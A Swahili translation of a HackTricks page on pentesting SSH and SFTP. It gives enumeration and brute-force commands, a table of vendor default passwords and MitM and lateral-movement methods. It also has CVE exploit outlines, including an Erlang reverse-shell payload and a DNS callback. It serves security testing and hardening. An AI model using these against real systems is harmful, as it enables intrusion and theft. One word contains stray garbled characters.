22 - Pentesting SSH/SFTP
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
SSH (Secure Shell or Secure Socket Shell) ni itifaki ya mtandao inayowezesha muunganisho salama kwa kompyuta kupitia mtandao usio salama. Ni muhimu kwa kudumisha usiri na uadilifu wa data unapofikia mifumo ya mbali.
Bandari ya chaguo-msingi: 22
22/tcp open ssh syn-ack
SSH servers:
- openSSH – OpenBSD SSH, hutolewa kwenye BSD, usambazaji wa Linux na Windows tangu Windows 10
- Dropbear – utekekelishaji wa SSH kwa mazingira yenye kumbukumbu na rasilimali ndogo za processor, hutolewa katika OpenWrt
- PuTTY – utekekelishaji wa SSH kwa Windows; mteja hutumika kawaida lakini matumizi ya seva ni nadra
- CopSSH – utekekelishaji wa OpenSSH kwa Windows
SSH libraries (implementing server-side):
- libssh – maktaba ya C ya multi-platform inayotekeleza itifaki ya SSHv2 na bindings katika [Python], [Perl] na [R]; inatumiwa na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH
- wolfSSH – maktaba ya seva ya SSHv2 imeandikwa kwa ANSI C na inalenga mazingira ya embedded, RTOS, na mazingira yenye rasilimali ndogo
- Apache MINA SSHD – maktaba ya Apache SSHD ya Java inatokana na Apache MINA
- paramiko – maktaba ya Python ya itifaki SSHv2
Enumeration
Banner Grabbing
nc -vn <IP> 22
Otomatiki ssh-audit
ssh-audit ni zana ya ukaguzi wa usanidi wa server na client za ssh.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Vipengele:
- SSH1 and SSH2 protocol server support;
- chambua usanidi wa client wa SSH;
- kuchukua banner, kutambua kifaa au programu na mfumo wa uendeshaji, kugundua compression;
- kusanya algorithms za key-exchange, host-key, encryption na message authentication code;
- tolea taarifa za algorithms (inapatikana tangu, zilizoondolewa/zimesimamishwa, hatari/dhaifu/za zamani, n.k.);
- tolea mapendekezo ya algorithms (ongeza au ondoa kulingana na toleo la programu lililotambuliwa);
- tolea taarifa za usalama (masuala yanayohusiana, orodha ya CVE zilizotolewa, n.k.);
- chambua ulinganishaji wa toleo la SSH kulingana na taarifa za algorithms;
- taarifa za kihistoria kutoka OpenSSH, Dropbear SSH na libssh;
- inaendesha kwenye Linux na Windows;
- hakuna utegemezi
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Ufunguo wa umma wa SSH wa seva
ssh-keyscan -t rsa <IP> -p <PORT>
Algoritimu Dhaifu za Cipher
Hii inagunduliwa kwa chaguo-msingi na nmap. Hata hivyo, unaweza pia kutumia sslcan au sslyze.
Skripti za Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
Katika baadhi ya matoleo ya OpenSSH unaweza kufanya timing attack ili enumerate users. Unaweza kutumia metasploit module ili ku-exploit hili:
msf> use scanner/ssh/ssh_enumusers
Brute force
Baadhi ya common ssh credentials ziko here and here na hapa chini.
Private Key Brute Force
Kama unajua baadhi ya ssh private keys ambazo zinaweza kutumika… tujaribu. Unaweza kutumia the nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Au MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Au tumia ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.
Badkeys zilizojulikana zinaweza kupatikana hapa:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Vifunguo dhaifu vya SSH / Debian predictable PRNG
Baadhi ya mifumo ina dosari zinazojulikana katika random seed inayotumika kuzalisha cryptographic material. Hii inaweza kusababisha keyspace kupungua kwa kiasi kikubwa ambayo inaweza ku-bruteforce. Seti zilizotayarishwa awali za keys zilizozalishwa kwenye mifumo za Debian zilizoathiriwa na weak PRNG zinapatikana hapa: g0tmi1k/debian-ssh.
Unapaswa kutazama hapa ili kutafuta keys halali za mashine ya lengo.
Kerberos / GSSAPI SSO
Ikiwa target SSH server inasaidia GSSAPI (kwa mfano Windows OpenSSH kwenye domain controller), unaweza kuthibitisha kwa kutumia Kerberos TGT yako badala ya password.
Workflow kutoka kwenye host ya attacker wa Linux:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Notes:
- Ikiwa utaunganisha kwa jina lisilo sahihi (mfano, short host, alias, au mpangilio mbaya katika
/etc/hosts), unaweza kupata: “Server not found in Kerberos database” kwa sababu SPN haifananishi. crackmapexec ssh --kerberospia inaweza kutumia ccache yako kwa uthibitishaji wa Kerberos.
Vigezo vya Kuingia vya Msingi
| Muuzaji | Majina ya Mtumiaji | Nenosiri |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Ikiwa uko kwenye mtandao wa ndani na mwathiriwa anatarajiwa kuunganishwa kwa seva ya SSH kwa kutumia jina la mtumiaji na nenosiri, unaweza kujaribu kufanya shambulio la MitM ili kuiba taarifa hizo za kuingia:
Njia ya shambulio:
- Traffic Redirection: Mshambuliaji anamaelekeza trafiki ya mwathiriwa kwenye mashine yake, kwa hivyo anakamata jaribio la muunganisho kwa seva ya SSH.
- Interception and Logging: Mashine ya mshambuliaji inafanya kazi kama proxy, inakamata maelezo ya kuingia ya mtumiaji kwa kujifanya kuwa seva halali ya SSH.
- Command Execution and Relay: Mwisho, seva ya mshambuliaji inarekodi nywila za mtumiaji, inapitisha amri kwa seva halisi ya SSH, inazitekeleza, na inarejesha matokeo kwa mtumiaji, ikifanya mchakato uonekane laini na halali.
SSH MITM inafanya hasa kile kilichoelezewa hapo juu.
Ili kushika/kufanya MitM kwa vitendo unaweza kutumia mbinu kama ARP spoofing, DNS spoofing au nyingine zilizoelezwa katika Network Spoofing attacks.
SSH-Snake
Ikiwa unataka kusafiri kupitia mtandao kwa kutumia funguo za kibinafsi za SSH ulizoziweza kupata kwenye mifumo, ukitumia kila funguo binafsi kwenye kila mfumo kwa mwenyeji mpya, basi SSH-Snake ndicho unachohitaji.
SSH-Snake inafanya kazi zifuatazo kiotomatiki na kwa mfululizo:
- Kwenye mfumo wa sasa, tafuta funguo za kibinafsi za SSH,
- Kwenye mfumo wa sasa, tafuta mwenyeji au maeneo yoyote (user@host) ambapo funguo binafsi zinaweza kukubaliwa,
- Jaribu kuingia kwa SSH kwenye maeneo yote ukitumia funguo zote za kibinafsi zilizogunduliwa,
- Ikiwa uunganisho kwenye eneo linalolengwa utafanywa kwa mafanikio, inarudia hatua #1 - #4 kwenye mfumo uliounganishwa.
Inajirudia na kujienea yenyewe kabisa – na haina mafaili kabisa.
Mipangilio Isiyofaa
Kuingia kama root
Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji root kwa chaguo-msingi, jambo ambalo linaweka hatari kubwa ya usalama. Kuzima kuingia kwa root ni hatua muhimu katika kusanidi seva kwa usalama. Kufikia ufikiaji usioidhinishwa kwa ruhusa za usimamizi na mashambulio ya brute force kunaweza kupunguzwa kwa kufanya mabadiliko haya.
Kuzuia Kuingia kwa root katika OpenSSH:
- Hariri faili la usanidi la SSH kwa:
sudoedit /etc/ssh/sshd_config - Badilisha kipimo kutoka
#PermitRootLogin yeshadiPermitRootLogin no. - Pakia upya usanidi kwa kutumia:
sudo systemctl daemon-reload - Weka upya seva ya SSH ili kutekeleza mabadiliko:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
Kuna upotofu wa kawaida katika usanidi wa SFTP, ambapo wasimamizi wanakusudia watumiaji kubadilishana mafaili bila kuruhusu ufikiaji wa shell ya mbali. Licha ya kumtenga mtumiaji kwa shells zisizo za mwingiliano (mfano, /usr/bin/nologin) na kumfunga kwenye saraka maalum, kuna pengo la usalama. Watumiaji wanaweza kukwepa vikwazo hivi kwa kuomba utekelezaji wa amri (kama /bin/bash) mara tu baada ya kuingia, kabla shell yao isiyo ya mwingiliano haijachukua nafasi. Hii inaruhusu utekelezaji usioidhinishwa wa amri, ukiharibu hatua zilizokusudiwa za usalama.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Hapa kuna mfano wa usanidi salama wa SFTP (/etc/ssh/sshd_config – openSSH) kwa mtumiaji noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Mipangilio hii itaruhusu SFTP pekee: inazuia ufikiaji wa shell kwa kulazimisha start command na kuzima ufikiaji wa TTY, na pia inazuia aina zote za port forwarding au tunneling.
SFTP Tunneling
Ikiwa una ufikiaji wa seva ya SFTP unaweza pia tunnel trafiki yako kupitia hii, kwa mfano kwa kutumia common port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
sftp ina amri “symlink”. Kwa hivyo, ikiwa una writable rights katika folda fulani, unaweza kuunda symlinks za folda/mafayela mengine. Kwa kuwa huenda umefungwa ndani ya chroot, hii haitakuwa muhimu sana kwako; lakini, ikiwa unaweza access symlink iliyotengenezwa kutoka kwa no-chroot service (kwa mfano, ikiwa unaweza kufikia symlink kutoka kwenye web), unaweza open the symlinked files through the web.
Kwa mfano, ili kuunda symlink kutoka kwa faili mpya “froot” hadi “/”:
sftp> symlink / froot
Kama unaweza kufikia faili “froot” kupitia wavuti, utaweza kuorodhesha folda ya root (“/”) ya mfumo.
Mbinu za uthibitishaji
Katika mazingira ya usalama wa juu, ni desturi kuwezesha tu uthibitishaji unaotegemea ufunguo au two-factor badala ya uthibitishaji rahisi unaotegemea password. Lakini mara nyingi mbinu zenye nguvu huwezeshwa bila kuzima zile dhaifu. Mfano wa kawaida ni kuwezesha publickey kwenye usanidi wa openSSH na kuiweka kama njia chaguo-msingi bila kuzima password. Kwa hivyo, kwa kutumia verbose mode ya SSH client, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Kwa mfano, ikiwa authentication failure limit imewekwa na haupati nafasi ya kufikia password method, unaweza kutumia chaguo la PreferredAuthentications kulazimisha kutumia method hii.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Kukagua usanidi wa seva ya SSH ni muhimu ili kuhakikisha kwamba njia zinazotarajiwa tu ndizo zimeruhusiwa. Kutumia modi ya verbose kwenye client kunaweza kusaidia kuona ufanisi wa usanidi.
Faili za usanidi
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Udhaifu Muhimu Za Karibuni (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1 iliondoa async-safe logging guard ndani ya sshd’s SIGALRM handler, ikirejesha CVE-2006-5051 na kuruhusu wadukuzi wasiojathibitishwa kuharibu heap ya glibc mara LoginGraceTime inapokwisha. Qualys ilitumia mdudu huu kama silaha kwa root RCE kwenye Linux 32-bit na ikabaini kuwa malengo ya 64-bit bado yanaweza kufanyiwa brute-force kwa kutosha kwa majaribio ya kuandaa allocator state, hivyo ipa kipaumbele hosts ambazo bado zinatangaza matoleo hayo wakati wa banner grabs.
Utekelezaji unategemea timing: puliza daemon kwa sessions nusu-wazi ambazo hazijathibitishwa ili privileged monitor ibofye njia hatarishi ya signal mara kwa mara wakati wewe unavyoandaa allocator state.
Vidokezo kwa operator:
- Fingerprint builds kwa
ssh -V(remote banner) aussh -G <target> | grep ^userauthsna thibitishaLoginGraceTimesio sifuri. - Fanya pressure-test kwenye target ya maabara kwa ku-spam sessions fupi ambazo hazitaomba authentication, kwa mfano:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
- Hosts ambazo zinachochea
LoginGraceTime 0haziwezi kugusa njia ya buggy code—tarajia tu kona ya DoS kwa kuchoshaMaxStartups.
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 na 5.6.1 zilitolewa na release tarballs zilizokuwa trojanized ambapo build scripts zilifungua object iliyofichwa wakati wa packaging ya Debian/RPM kwenye x86-64 Linux. Payload inatumia IFUNC resolver ya glibc ku-hook RSA_public_decrypt katika sshd (wakati systemd patches zinawafanya liblzma izinduliwe) na inakubali packets zilizotiwa saini na mshambuliaji kwa pre-auth code execution.
Kwa sababu mantiki ya uharibu iko ndani ya binaries zilizopakiwa pekee, uthibitishaji wa mashambulizi lazima uchunguze kile kilichowekwa kwenye mashine ya mwathiriwa: angalia xz --version, rpm -qi xz/dpkg -l xz-utils, linganisha hashes za /usr/lib*/liblzma.so*, na tazama ldd /usr/sbin/sshd | grep -E "systemd|lzma" kuona kama sshd hata inavuta dependency iliyokumbwa. Hook inabaki usingizi isipokuwa njia ya mchakato ni /usr/sbin/sshd, hivyo mara nyingi kuunda upya mazingira ya build ya distro ni lazima ili kuzalisha backdoor kwenye maabara.
Authentication State-Machine Bypass (Pre-Auth RCE)
Seva kadhaa za SSH zina makosa ya mantiki katika authentication finite-state machine ambayo yanamruhusu mteja kutuma ujumbe za connection-protocol kabla authentication haijakamilika. Kwa sababu seva inashindwa kuthibitisha kuwa iko katika state sahihi, ujumbe huo unashughulikiwa kana kwamba mtumiaji ameathibitishwa kikamilifu, na kusababisha unauthenticated code execution au uundaji wa session.
Kiwango cha proto, ujumbe wowote wa SSH wenye message code ≥ 80 (0x50) unahusiana na layer ya connection (RFC 4254) na lazima ukubaliwe tu baada ya authentication kufanikiwa (RFC 4252). Ikiwa seva itash処処liza mmoja wa ujumbe huo wakati bado iko katika state ya SSH_AUTHENTICATION, mshambuliaji anaweza mara moja kuunda channel na kuomba vitendo kama command execution, port-forwarding, n.k.
Generic Exploitation Steps
- Anzisha muunganisho wa TCP kwenye port ya SSH ya target (kwa kawaida 22, lakini huduma nyingine zinaweza kufichua Erlang/OTP kwenye 2022, 830, 2222…).
- Unda raw SSH packet:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (e.g.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload ambayo itafahamika kwa aina ya message uliyoichagua
- Tuma packet(s) kabla ya kumaliza hatua yoyote ya authentication.
- Shirikiana na server APIs ambazo sasa zimefunuliwa pre-auth (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Kivitendo utahitaji kufanya (au kuruka) key-exchange kulingana na utekelezaji wa lengo, lakini no authentication haifanywi kamwe.
Erlang/OTP sshd (CVE-2025-32433)
- Matoleo yaliyoathirika: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Sababu kuu: daemon ya asili ya SSH ya Erlang haithibitishi hali ya sasa kabla ya kuitisha
ssh_connection:handle_msg/2. Kwa hivyo, kifurushi chochote chenye msimbo wa ujumbe 80-255 kinamfikia mshughuliki wa muunganisho wakati kikao bado kiko katika hali ya userauth. - Athari: unauthenticated remote code execution (daemon kawaida huendesha kama root kwenye vifaa vya embedded/OT).
Mfano wa payload inayozalisha reverse shell iliyounganishwa na attacker-controlled channel:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection inaweza kufanywa kupitia DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Utambuzi na Kupunguza:
- Chunguza trafiki ya SSH: tupa kifurushi chochote chenye msimbo wa ujumbe ≥ 80 kinachoonekana kabla ya uthibitisho.
- Sasisha Erlang/OTP hadi 27.3.3 / 26.2.5.11 / 25.3.2.20 au toleo jipya zaidi.
- Zuia ufichuzi wa bandari za usimamizi (22/2022/830/2222) – hasa kwenye vifaa vya OT.
Utekelezaji Nyingine Zimeathiriwa
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – inakubali
SSH_MSG_USERAUTH_SUCCESSisiyothibitishwa iliyotumwa na mteja, kwa ufanisi ni kasoro ya mantiki kinyume.
Somo la kawaida ni kwamba kutofuatwa kwa mabadiliko ya hali yaliyoainishwa na RFC kunaweza kuwa hatari; wakati wa kukagua au fuzzing daemons za SSH, zingatia hasa state-machine enforcement.
References
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
Amri za Kiotomatiki za HackTricks
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

